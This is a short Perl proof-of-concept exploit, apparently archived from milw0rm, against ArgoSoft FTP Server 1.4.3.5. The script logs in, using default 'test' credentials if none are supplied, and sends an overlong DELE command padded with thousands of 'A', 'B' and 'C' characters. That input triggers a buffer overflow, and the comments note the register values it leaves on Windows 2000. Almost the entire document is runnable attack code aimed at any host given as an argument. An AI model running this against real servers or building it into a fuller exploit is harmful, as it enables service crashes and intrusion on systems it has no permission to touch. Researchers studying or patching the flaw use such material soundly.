ArGoSoft FTP Server 1.4.3.5 - Remote Buffer Overflow (PoC)

#!/usr/bin/perl

# ---------------------------------------------------- #
# ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server #
# Jerome Athias                           	       #
# ---------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {

# make exploit string
$exploit_string = "DELE ";
$exploit_string .= "A" x 2041;
$exploit_string .= "B" x 4;
$exploit_string .= "C" x 1026;

#    On Win2K SP4 FR:
#    EAX 42424241
#    ECX 43434343
#    EDX 43434342
#    EBX 43434B73

       # ===================

       print "Trying to connect to $host:$port\n";
       $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug=> $debug) or die "[-] Connection failed\n";
       print "[+] Connect OK!\n";
       print "Logging...\n";
       if (!$user) {
            $user = "test";
            $pass = "test";
       }
       $sock->login($user, $pass);
       $answer = $sock->message;
       print "Sending string...\n";
       $sock->quot($exploit_string);
} else {
       print "ArgoSoft FTP Server - PoC Exploit\nhttps://www.securinfos.info\n\nUsing: $0 host port username password [debug: 1 or 0]\n\n";
}

# milw0rm.com [2006-02-25]